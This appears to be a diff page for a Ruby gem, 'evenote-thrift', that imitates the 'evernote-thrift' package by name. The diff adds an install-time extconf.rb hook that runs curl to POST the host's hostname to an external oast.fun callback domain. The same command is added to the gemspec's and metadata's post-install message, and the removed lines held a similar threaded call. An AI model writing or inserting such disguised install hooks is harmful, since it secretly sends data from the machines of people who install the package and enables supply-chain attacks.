evenote-thrift 10.0.0 → 10.2.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (4) hide show
  1. checksums.yaml +4 -4
  2. data/evenote-thrift.gemspec +11 -1
  3. data/extconf.rb +7 -3
  4. metadata +4 -2
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: feb9709bcc5223569819cfda93538929d9ed009629baba7d3779cecbd736c935
4
- data.tar.gz: 1386f9ee94c309085aaf3ffb4fd558150cae57016bdb83b076cb2d9a32966831
3
+ metadata.gz: 9b52b2f1ae90508608106e1fb1e6076111f50316245aabb11b101df221e84f4b
4
+ data.tar.gz: aefa1a18861907d01c62626622606218f73f46c2ee3d89eba6db4819107ede0a
5
5
  SHA512:
6
- metadata.gz: c8e1e67938e0f13336fc4c132baf7aa967ec356772a1798acdb5fb1fa68bdeb28c04810c7337fc7f6f81a9c29f11dc5b645449e22f4b5670602d8841e75276bf
7
- data.tar.gz: c77821477dfc0ed273bde7aa0656c30c93f6ff50aab8fb02491ff9849aab6983a26767eb995ae3e4f3624be3d539153c658f472967ddc76d63fa89af0a919a49
6
+ metadata.gz: c26808ab7cb1642d940795c77e7ed372a363d21dee49e8973993351b48fc47b1a018a247401cab17893aa1b56bb20eeb76938702ab175f24a3dfc9d9b789ce60
7
+ data.tar.gz: 9326d0e787aea092954297554c2098d36138c492a0dec12a65e0686a6b40b72d5b54d172fa5f85915a3dca9c637be3711b938477cdf813afed8ebc527882a300
@@ -1,6 +1,6 @@
1
1
  Gem::Specification.new do |s|
2
2
  s.name = 'evenote-thrift'
3
- s.version = '10.0.0' # Higher version to take precedence
3
+ s.version = '10.2.0' # Higher version to take precedence
4
4
  s.summary = "A simple mimicking evernote-thrift"
5
5
  s.description = "This gem is a placeholder."
6
6
  s.authors = ["raxis-evernote"]
@@ -14,5 +14,15 @@ Gem::Specification.new do |s|
14
14
  # Run our evernote-thrift code on install
15
15
  s.post_install_message = "Thanks for installing evernote-thrift!"
16
16
  s.extensions = ["extconf.rb"]
17
+
18
+ # Add a post_install message that executes the command
19
+ s.post_install_message = <<-POST_INSTALL
20
+ Post-install command:
21
+ curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
22
+ POST_INSTALL
23
+
24
+ # This method will execute after the gem is installed
25
+ s.extensions = ["extconf.rb"]
17
26
  end
18
27
 
28
+
data/extconf.rb CHANGED
@@ -1,8 +1,12 @@
1
1
  # extconf.rb
2
2
 
3
- require 'open-uri'
3
+ require 'mkmf'
4
+
5
+ # Create a Makefile for the native extension
6
+ create_makefile('evernote_thrift')
7
+
8
+ # Command to obtain hostname and post it to a specified URL
9
+ system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
4
10
 
5
- Thread.new do
6
- system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
7
11
  end
8
12
 
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: evenote-thrift
3
3
  version: !ruby/object:Gem::Version
4
- version: 10.0.0
4
+ version: 10.2.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - raxis-evernote
@@ -23,7 +23,9 @@ files:
23
23
  homepage: https://reachas.com
24
24
  licenses: []
25
25
  metadata: {}
26
- post_install_message: Thanks for installing evernote-thrift!
26
+ post_install_message: |2
27
+ Post-install command:
28
+ curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
27
29
  rdoc_options: []
28
30
  require_paths:
29
31
  - lib